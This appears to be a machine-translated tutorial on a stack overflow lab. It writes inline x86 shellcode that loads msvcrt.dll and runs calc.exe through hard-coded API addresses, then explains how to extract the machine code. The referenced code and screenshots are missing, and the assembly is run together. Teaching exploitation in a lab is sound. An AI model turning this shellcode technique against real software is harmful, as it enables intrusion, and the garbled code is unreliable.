The experiment was originally to simulate a password validator with the following code:
Where the Verify_password code is as follows:
A buffer hole was found in the red box and we used the stack overflow operation here. We're just trying to pop a calc.exe.
First constructs the assembly code, here is first uses the LoadLibrary to load the Msvcrt.dll, in uses the system function to eject the calc.exe, finally uses the exitprocess exits, to prevent the stack destruction and the error:
voidMain () {__asm {mov esp, EBP; Push EBP; MOV ebp, esp; XOR EDI, EDI; Push EDI; Sub ESP, 08h; MOVbytePTR[EBP-0CH], 6Dh;//mmovbytePTR[EBP-0BH], 73h;//smovbytePTR[EBP-0AH], 76h;//vmovbytePTR[EBP-09H], 63h;//CmovbytePTR[EBP-08H], 72h;//RmovbytePTR[EBP-07H], 74h;//TmovbytePTR[EBP-06H], 2Eh;//.movbytePTR[EBP-05H], 64h;//DmovbytePTR[EBP-04H], 6Ch;//LmovbytePTR[EBP-03H], 6Ch;//LLea EAX, [EBP--0Ch]; push eax; mov eax,0x763b8f80; Call eax; //loadlibrary XOR EDI, EDI; Push EDI; Sub ESP, 08h; MOVbytePTR[EBP-18H], 63h;//CmovbytePTR[EBP-17H], 61h;//amovbytePTR[EBP-16H], 6ch;//LmovbytePTR[EBP-15H], 63h;//CmovbytePTR[EBP-14H], 2Eh;//.movbytePTR[EBP-13H], 65h;//emovbytePTR[EBP-12H], 78h;//xmovbytePTR[EBP-11H], 65h;//e//system 0x762fb730Lea EAX, [EBP--18h]; push eax; mov eax,0x762fb730; Call eax; //system mov eax,0x763c9850; Call eax; //exitprocess }}
The middle of the _asm is what we need, and the reason we put it into the main function is just to run the test to see if there is a problem with the assembly code we wrote, run:
You can eject the calc.exe normally, stating that there is no problem with the assembly code. Then we now use the disassembly function of VS to view the machine code of these assembly codes, remember to right-click on the Disassembly window to select "Show Code bytes" To see the machine code:
When selected, it appears as follows:
Here's a question: when we call eax, we're actually calling the API, how do we know the addresses of these APIs?
The flow of a stack Overflow vulnerability experiment